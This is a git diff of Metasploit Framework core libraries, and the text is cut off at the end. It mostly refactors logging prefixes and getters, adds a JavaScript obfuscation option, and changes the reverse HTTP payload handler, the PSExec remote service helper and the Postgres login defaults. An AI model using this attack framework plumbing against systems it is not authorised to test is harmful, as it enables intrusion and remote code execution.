diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb
index a9b70dae79..206b0364c7 100644
--- a/lib/msf/core/exploit/http/wordpress/helpers.rb
+++ b/lib/msf/core/exploit/http/wordpress/helpers.rb
@@ -52,7 +52,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res)
else
- message = "#{peer} - Post comment failed."
+ message = "Post comment failed."
message << " Status Code: #{res.code}" if res
print_error(message)
return nil
@@ -67,7 +67,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
range.each { |id|
- vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
+ vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
return id if body
}
diff --git a/lib/msf/core/exploit/http/wordpress/posts.rb b/lib/msf/core/exploit/http/wordpress/posts.rb
index 57735bdf4a..ec0f52cff6 100644
--- a/lib/msf/core/exploit/http/wordpress/posts.rb
+++ b/lib/msf/core/exploit/http/wordpress/posts.rb
@@ -99,11 +99,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
# @param max_redirects [Integer] maximum redirects to follow
# @return [Array,nil] String Array with valid blog posts, nil on error
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
- vprint_status("#{peer} - Enumerating Blog posts...")
+ vprint_status("Enumerating Blog posts...")
blog_posts = []
begin
- vprint_status("#{peer} - Locating wordpress feed...")
+ vprint_status("Locating wordpress feed...")
res = send_request_cgi({
'uri' => wordpress_url_rss,
'method' => 'GET'
@@ -116,26 +116,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
path = wordpress_helper_parse_location_header(res)
return nil unless path
- vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
+ vprint_status("Web server returned a #{res.code}...following to #{path}")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
})
if res.code == 200
- vprint_status("#{peer} - Feed located at #{path}")
+ vprint_status("Feed located at #{path}")
else
- vprint_status("#{peer} - Returned a #{res.code}...")
+ vprint_status("Returned a #{res.code}...")
end
count = count - 1
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
- print_error("#{peer} - Unable to connect")
+ print_error("Unable to connect")
return nil
end
if res.nil? or res.code != 200
- vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
+ vprint_status("Did not recieve HTTP response for RSS feed")
return blog_posts
end
@@ -143,7 +143,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
links = res.body.scan(/([^<]+)<\/link>/i)
if links.nil? or links.empty?
- vprint_status("#{peer} - Feed did not have any links present")
+ vprint_status("Feed did not have any links present")
return blog_posts
end
diff --git a/lib/msf/core/exploit/http/wordpress/users.rb b/lib/msf/core/exploit/http/wordpress/users.rb
index 4ddac519ad..98fd963bc8 100644
--- a/lib/msf/core/exploit/http/wordpress/users.rb
+++ b/lib/msf/core/exploit/http/wordpress/users.rb
@@ -48,7 +48,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Users
end
if res.nil?
- print_error("#{peer} - Error getting response.")
+ print_error("Error getting response.")
return nil
elsif res.code == 200 and
(
diff --git a/lib/msf/core/exploit/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb
index 80c693e56d..3561534b49 100644
--- a/lib/msf/core/exploit/http/wordpress/version.rb
+++ b/lib/msf/core/exploit/http/wordpress/version.rb
@@ -134,7 +134,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
res = nil
readmes.each do |readme_name|
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name)
- vprint_status("#{peer} - Checking #{readme_url}")
+ vprint_status("Checking #{readme_url}")
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
@@ -180,7 +180,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
# Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil?
- vprint_status("#{peer} - Found version #{version} of the #{item_type}")
+ vprint_status("Found version #{version} of the #{item_type}")
if fixed_version.nil?
if vuln_introduced_version.nil?
diff --git a/lib/msf/core/exploit/jsobfu.rb b/lib/msf/core/exploit/jsobfu.rb
index 4037df99d7..73b3ce2b47 100644
--- a/lib/msf/core/exploit/jsobfu.rb
+++ b/lib/msf/core/exploit/jsobfu.rb
@@ -8,7 +8,8 @@ module Msf
def initialize(info={})
super
register_advanced_options([
- OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
+ OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]),
+ OptString.new('JsIdentifiers', [false, "Identifiers to preserve for JsObfu"])
], Exploit::JSObfu)
end
@@ -18,14 +19,20 @@ module Msf
# @param js [String] JavaScript code
# @param opts [Hash] obfuscation options
# * :iterations [FixNum] Number of times to obfuscate
+ # * :preserved_identifiers [Array] An array of identifiers to preserve during obfuscation
# @return [::Rex::Exploitation::JSObfu]
#
def js_obfuscate(js, opts={})
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
+ identifiers = opts[:preserved_identifiers].blank? ? (datastore['JsIdentifiers'] || '').split(',') : opts[:preserved_identifiers]
obfu = ::Rex::Exploitation::JSObfu.new(js)
- obfu.obfuscate(:iterations=>iterations)
+ obfu_opts = {}
+ obfu_opts.merge!(iterations: iterations)
+ obfu_opts.merge!(preserved_identifiers: identifiers)
+
+ obfu.obfuscate(obfu_opts)
obfu
end
end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb
index ac7c718b7d..21808beede 100644
--- a/lib/msf/core/exploit/mixins.rb
+++ b/lib/msf/core/exploit/mixins.rb
@@ -116,3 +116,6 @@ require 'msf/core/exploit/http/jboss'
# Kerberos Support
require 'msf/core/exploit/kerberos/client'
+
+# Fortinet
+require 'msf/core/exploit/fortinet'
diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb
index 09f3f9487e..b6fc8d0706 100644
--- a/lib/msf/core/exploit/postgres.rb
+++ b/lib/msf/core/exploit/postgres.rb
@@ -32,7 +32,7 @@ module Exploit::Remote::Postgres
Opt::RPORT(5432),
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
- OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
+ OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
@@ -292,6 +292,8 @@ module Exploit::Remote::Postgres
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
+ when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database
+ when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host
# Windows
diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb
index 1ad7cffa70..466f03281c 100644
--- a/lib/msf/core/exploit/remote/browser_exploit_server.rb
+++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb
@@ -7,6 +7,7 @@ require 'set'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'
require 'msf/core/exploit/remote/browser_profile_manager'
+require 'msf/core/module'
###
#
@@ -28,6 +29,8 @@ module Msf
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
include Msf::Exploit::Remote::BrowserProfileManager
+ include Msf::Module::UI::Line::Verbose
+ include Msf::Module::UI::Message::Verbose
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
@@ -136,7 +139,6 @@ module Msf
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
end
-
# Returns the custom 404 URL set by the user
#
# @return [String]
@@ -586,7 +588,7 @@ module Msf
if profile.nil?
print_status("Browsing directly to the exploit URL is forbidden.")
send_not_found(cli)
- elsif profile[:tried] and datastore['Retries'] == false
+ elsif profile[:tried] && !datastore['Retries']
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb
index b104b9e48a..df006885f7 100644
--- a/lib/msf/core/exploit/smb/client.rb
+++ b/lib/msf/core/exploit/smb/client.rb
@@ -64,7 +64,7 @@ module Msf
register_options(
[
Opt::RHOST,
- OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
+ OptPort.new('RPORT', [ true, 'The SMB service port', 445])
], Msf::Exploit::Remote::SMB::Client)
register_autofilter_ports([ 139, 445])
diff --git a/lib/msf/core/exploit/smb/client/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb
index bd60e6c675..cb1acf684b 100644
--- a/lib/msf/core/exploit/smb/client/psexec.rb
+++ b/lib/msf/core/exploit/smb/client/psexec.rb
@@ -74,7 +74,7 @@ module Exploit::Remote::SMB::Client::Psexec
simple.disconnect("\\\\#{host}\\#{smbshare}")
return contents
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
- print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.")
+ print_error("Unable to read file #{file}. #{e.class}: #{e}.")
return nil
end
end
@@ -94,16 +94,16 @@ module Exploit::Remote::SMB::Client::Psexec
def psexec(command, disconnect=true)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
- vprint_status("#{peer} - Binding to #{handle} ...")
+ vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
- vprint_status("#{peer} - Bound to #{handle} ...")
- vprint_status("#{peer} - Obtaining a service manager handle...")
+ vprint_status("Bound to #{handle} ...")
+ vprint_status("Obtaining a service manager handle...")
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
if scm_status == ERROR_ACCESS_DENIED
- print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager")
+ print_error("ERROR_ACCESS_DENIED opening the Service Manager")
end
return false unless scm_handle
@@ -114,68 +114,68 @@ module Exploit::Remote::SMB::Client::Psexec
opts = {}
end
- vprint_status("#{peer} - Creating the service...")
+ vprint_status("Creating the service...")
svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
case svc_status
when ERROR_SUCCESS
- vprint_good("#{peer} - Successfully created the service")
+ vprint_good("Successfully created the service")
when ERROR_SERVICE_EXISTS
service_exists = true
- print_warning("#{peer} - Service already exists, opening a handle...")
+ print_warning("Service already exists, opening a handle...")
svc_handle = svc_client.openservicew(scm_handle, service_name)
when ERROR_ACCESS_DENIED
- print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
+ print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
return false
else
- print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
+ print_error("Failed to create service, ERROR_CODE: #{svc_status}")
return false
end
if svc_handle.nil?
- print_error("#{peer} - No service handle retrieved")
+ print_error("No service handle retrieved")
return false
else
if service_description
- vprint_status("#{peer} - Changing service description...")
+ vprint_status("Changing service description...")
svc_client.changeservicedescription(svc_handle, service_description)
end
- vprint_status("#{peer} - Starting the service...")
+ vprint_status("Starting the service...")
begin
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
- print_good("#{peer} - Service started successfully...")
+ print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
- print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
+ print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
- print_error("#{peer} - Service failed to start - ACCESS_DENIED")
+ print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
- print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...")
+ print_good("Service start timed out, OK if running a command or non-service executable...")
else
- print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
+ print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
ensure
begin
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
- print_warning("#{peer} - Not removing service as it already existed...")
+ print_warning("Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
- print_warning("#{peer} - Not removing service for persistance...")
+ print_warning("Not removing service for persistance...")
else
- vprint_status("#{peer} - Removing the service...")
+ vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
- vprint_good("#{peer} - Successfully removed the sevice")
+ vprint_good("Successfully removed the sevice")
else
- print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
+ print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
- vprint_status("#{peer} - Closing service handle...")
+ vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
end
@@ -189,10 +189,6 @@ module Exploit::Remote::SMB::Client::Psexec
true
end
- def peer
- "#{rhost}:#{rport}"
- end
-
end
end
diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb
index 1ddbdd4172..df5f43aca6 100644
--- a/lib/msf/core/exploit/smb/server/share.rb
+++ b/lib/msf/core/exploit/smb/server/share.rb
@@ -17,7 +17,7 @@ module Msf
# @example Use it from an Auxiliary module
# require 'msf/core'
#
- # class Metasploit3 < Msf::Auxiliary
+ # class MetasploitModule < Msf::Auxiliary
#
# include Msf::Exploit::Remote::SMB::Server::Share
#
@@ -59,7 +59,7 @@ module Msf
# @example Use it from an Exploit module
# require 'msf/core'
#
- # class Metasploit3 < Msf::Exploit::Remote
+ # class MetasploitModule < Msf::Exploit::Remote
# Rank = ExcellentRanking
#
# include Msf::Exploit::EXE
diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
index a4900e8b1c..9ff8693723 100644
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -71,7 +71,7 @@ module Exploit::Remote::SMTPDeliver
# This method currently only knows about PLAIN authentication.
#
def connect_login(global = true)
- print_verbose("Connecting to SMTP server #{rhost}:#{rport}...")
+ vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
if datastore['DOMAIN'] and not datastore['DOMAIN'] == ''
@@ -114,7 +114,7 @@ module Exploit::Remote::SMTPDeliver
else
if datastore['PASSWORD'] and datastore["USERNAME"] and not datastore["USERNAME"].empty?
# Let the user know their creds are going unused
- print_verbose("Server didn't ask for authentication, skipping")
+ vprint_status("Server didn't ask for authentication, skipping")
end
end
end
@@ -170,7 +170,7 @@ module Exploit::Remote::SMTPDeliver
end
if not already_connected
- print_verbose("Closing the connection...")
+ vprint_status("Closing the connection...")
disconnect(nsock)
end
@@ -187,11 +187,11 @@ module Exploit::Remote::SMTPDeliver
return false if not nsock
if cmd =~ /AUTH PLAIN/
# Don't print the user's plaintext password
- print_verbose("C: AUTH PLAIN ...")
+ vprint_status("C: AUTH PLAIN ...")
else
# Truncate because this will include a full email and we don't want
# to dump it all.
- print_verbose("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}")
+ vprint_status("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}")
end
nsock.put(cmd)
@@ -199,17 +199,11 @@ module Exploit::Remote::SMTPDeliver
# Don't truncate the server output because it might be helpful for
# debugging.
- print_verbose("S: #{res.strip}") if res
+ vprint_status("S: #{res.strip}") if res
return res
end
- def print_verbose(msg)
- if datastore['VERBOSE']
- print_status(msg)
- end
- end
-
# The banner received after the initial connection to the server. This should look something like:
# 220 mx.google.com ESMTP s5sm3837150wak.12
diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb
index f8c9055f30..265bea4ac5 100644
--- a/lib/msf/core/exploit/sunrpc.rb
+++ b/lib/msf/core/exploit/sunrpc.rb
@@ -31,7 +31,7 @@ module Exploit::Remote::SunRPC
register_evasion_options(
[
- OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', 'false']),
+ OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', false]),
], Msf::Exploit::Remote::SunRPC
)
@@ -65,7 +65,7 @@ module Exploit::Remote::SunRPC
}
)
- if datastore['ONCRPC::tcp_request_fragmentation'] == true
+ if datastore['ONCRPC::tcp_request_fragmentation']
self.rpcobj.should_fragment = 1
end
diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb
index 59577e7932..ec70f4ff4a 100644
--- a/lib/msf/core/exploit/tcp.rb
+++ b/lib/msf/core/exploit/tcp.rb
@@ -64,7 +64,7 @@ module Exploit::Remote::Tcp
register_advanced_options(
[
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
- OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]),
+ Opt::SSLVersion,
OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]),
OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']),
Opt::Proxies,
@@ -82,11 +82,6 @@ module Exploit::Remote::Tcp
)
end
- # Returns the rhost:rport
- def peer
- "#{rhost}:#{rport}"
- end
-
#
# Establishes a TCP connection to the specified RHOST/RPORT
#
@@ -200,6 +195,14 @@ module Exploit::Remote::Tcp
disconnect
end
+ def print_prefix
+ if rhost
+ super + peer + " - "
+ else
+ super
+ end
+ end
+
##
#
# Wrappers for getters
@@ -207,17 +210,24 @@ module Exploit::Remote::Tcp
##
#
- # Returns the target host
+ # Returns the local host for outgoing connections
#
- def rhost
- datastore['RHOST']
+ def chost
+ datastore['CHOST']
end
#
- # Returns the remote port
+ # Returns the TCP connection timeout
#
- def rport
- datastore['RPORT']
+ def connect_timeout
+ datastore['ConnectTimeout']
+ end
+
+ #
+ # Returns the local port for outgoing connections
+ #
+ def cport
+ datastore['CPORT']
end
#
@@ -234,18 +244,30 @@ module Exploit::Remote::Tcp
datastore['LPORT']
end
- #
- # Returns the local host for outgoing connections
- #
- def chost
- datastore['CHOST']
+ # Returns the rhost:rport
+ def peer
+ "#{rhost}:#{rport}"
end
#
- # Returns the local port for outgoing connections
+ # Returns the proxy configuration
#
- def cport
- datastore['CPORT']
+ def proxies
+ datastore['Proxies']
+ end
+
+ #
+ # Returns the target host
+ #
+ def rhost
+ datastore['RHOST']
+ end
+
+ #
+ # Returns the remote port
+ #
+ def rport
+ datastore['RPORT']
end
#
@@ -262,20 +284,6 @@ module Exploit::Remote::Tcp
datastore['SSLVersion']
end
- #
- # Returns the proxy configuration
- #
- def proxies
- datastore['Proxies']
- end
-
- #
- # Returns the TCP connection timeout
- #
- def connect_timeout
- datastore['ConnectTimeout']
- end
-
#
# Returns the SSL certification verification mechanism
#
diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb
index a86a7a2b25..b791465dfd 100644
--- a/lib/msf/core/exploit/tcp_server.rb
+++ b/lib/msf/core/exploit/tcp_server.rb
@@ -19,7 +19,6 @@ module Exploit::Remote::TcpServer
[
OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]),
# SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment)
- # OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]),
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']),
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
diff --git a/lib/msf/core/exploit/udp.rb b/lib/msf/core/exploit/udp.rb
index 2a7eedce31..8b503dc4cd 100644
--- a/lib/msf/core/exploit/udp.rb
+++ b/lib/msf/core/exploit/udp.rb
@@ -107,17 +107,17 @@ module Exploit::Remote::Udp
##
#
- # Returns the target host
+ # Returns the local host for outgoing connections
#
- def rhost
- datastore['RHOST']
+ def chost
+ datastore['CHOST']
end
#
- # Returns the remote port
+ # Returns the local port for outgoing connections
#
- def rport
- datastore['RPORT']
+ def cport
+ datastore['CPORT']
end
#
@@ -135,20 +135,19 @@ module Exploit::Remote::Udp
end
#
- # Returns the local host for outgoing connections
+ # Returns the target host
#
- def chost
- datastore['CHOST']
+ def rhost
+ datastore['RHOST']
end
#
- # Returns the local port for outgoing connections
+ # Returns the remote port
#
- def cport
- datastore['CPORT']
+ def rport
+ datastore['RPORT']
end
-
protected
attr_accessor :udp_sock
diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb
index c8fd5db9cb..b8e797c8ec 100644
--- a/lib/msf/core/framework.rb
+++ b/lib/msf/core/framework.rb
@@ -38,14 +38,6 @@ class Framework
Revision = "$Revision$"
- # Repository information
- RepoRevision = ::Msf::Util::SVN.revision
- RepoUpdated = ::Msf::Util::SVN.updated
- RepoUpdatedDays = ::Msf::Util::SVN.days_since_update
- RepoUpdatedDaysNote = ::Msf::Util::SVN.last_updated_friendly
- RepoUpdatedDate = ::Msf::Util::SVN.last_updated_date
- RepoRoot = ::Msf::Util::SVN.root
-
# EICAR canary
EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted?
diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index eafe12f97f..2ed2842ba8 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -163,6 +163,14 @@ module Handler
return session
end
+ #
+ # Interrupts a wait_for_session call by notifying with a nil event
+ #
+ def interrupt_wait_for_session
+ return unless session_waiter_event
+ session_waiter_event.notify(nil)
+ end
+
#
# Set by the exploit module to configure handler
#
diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb
index e3d8b04ef5..d7380d2d2d 100644
--- a/lib/msf/core/handler/reverse_http.rb
+++ b/lib/msf/core/handler/reverse_http.rb
@@ -63,24 +63,19 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
- # Determine where to bind the server
- #
- # @return [String]
- def listener_address
- if datastore['ReverseListenerBindAddress'].to_s == ''
- bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
+ def print_prefix
+ if Thread.current[:cli]
+ super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
else
- bindaddr = datastore['ReverseListenerBindAddress']
+ super
end
-
- bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
- def listener_uri
- uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
+ def listener_uri(addr=datastore['LHOST'])
+ uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/"
end
@@ -129,20 +124,33 @@ module ReverseHttp
#
def setup_handler
+ local_addr = nil
local_port = bind_port
+ ex = false
# Start the HTTPS server service on this host/port
- self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
- local_port,
- listener_address,
- ssl?,
- {
- 'Msf' => framework,
- 'MsfExploit' => self,
- },
- nil,
- (ssl?) ? datastore['HandlerSSLCert'] : nil
- )
+ bind_addresses.each do |ip|
+ begin
+ self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
+ local_port, ip, ssl?,
+ {
+ 'Msf' => framework,
+ 'MsfExploit' => self,
+ },
+ nil,
+ (ssl?) ? datastore['HandlerSSLCert'] : nil
+ )
+ local_addr = ip
+ rescue
+ ex = $!
+ print_error("Handler failed to bind to #{ip}:#{local_port}")
+ else
+ ex = false
+ break
+ end
+ end
+
+ raise ex if (ex)
self.service.server_name = datastore['MeterpreterServerName']
@@ -156,7 +164,7 @@ module ReverseHttp
},
'VirtualDirectory' => true)
- print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
+ print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
if datastore['IgnoreUnknownPayloads']
@@ -224,6 +232,7 @@ protected
# Parses the HTTPS request
#
def on_request(cli, req, obj)
+ Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid] || Msf::Payload::UUID.new
@@ -241,7 +250,7 @@ protected
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}")
+ print_status("Ignoring unknown UUID: #{request_summary}")
info[:mode] = :unknown_uuid
end
@@ -249,7 +258,7 @@ protected
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
unless allowed_urls.include?(req.relative_resource)
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}")
+ print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
end
@@ -259,7 +268,7 @@ protected
# Process the requested resource.
case info[:mode]
when :init_connect
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}")
+ print_status("Redirecting stageless connection from #{request_summary}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
@@ -272,7 +281,7 @@ protected
resp.body = pkt.to_r
when :init_python
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
+ print_status("Staging Python payload ...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@@ -301,7 +310,7 @@ protected
})
when :init_java
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
+ print_status("Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00"
blob = obj.generate_stage(
@@ -325,38 +334,43 @@ protected
})
when :init_native
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
+ print_status("Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
- # generate the stage, but pass in the existing UUID and connection id so that
- # we don't get new ones generated.
- blob = obj.stage_payload(
- uuid: uuid,
- uri: conn_id,
- lhost: uri.host,
- lport: uri.port
- )
+ begin
+ # generate the stage, but pass in the existing UUID and connection id so that
+ # we don't get new ones generated.
+ blob = obj.stage_payload(
+ uuid: uuid,
+ uri: conn_id,
+ lhost: uri.host,
+ lport: uri.port
+ )
- resp.body = encode_stage(blob)
+ resp.body = encode_stage(blob)
- # Short-circuit the payload's handle_connection processing for create_session
- create_session(cli, {
- :passive_dispatcher => obj.service,
- :conn_id => conn_id,
- :url => url,
- :expiration => datastore['SessionExpirationTimeout'].to_i,
- :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
- :retry_total => datastore['SessionRetryTotal'].to_i,
- :retry_wait => datastore['SessionRetryWait'].to_i,
- :ssl => ssl?,
- :payload_uuid => uuid
- })
+ # Short-circuit the payload's handle_connection processing for create_session
+ create_session(cli, {
+ :passive_dispatcher => obj.service,
+ :conn_id => conn_id,
+ :url => url,
+ :expiration => datastore['SessionExpirationTimeout'].to_i,
+ :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
+ :retry_total => datastore['SessionRetryTotal'].to_i,
+ :retry_wait => datastore['SessionRetryWait'].to_i,
+ :ssl => ssl?,
+ :payload_uuid => uuid
+ })
+ rescue NoMethodError
+ print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
+ return
+ end
when :connect
- print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
+ print_status("Attaching orphaned/stageless session ...")
resp.body = ''
conn_id = req.relative_resource
@@ -376,7 +390,7 @@ protected
else
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
- print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}")
+ print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'
diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb
index fda6eebe8c..fe39a459b3 100644
--- a/lib/msf/core/module.rb
+++ b/lib/msf/core/module.rb
@@ -266,11 +266,10 @@ class Module
end
#
- # Returns true if this module is being debugged. The debug flag is set
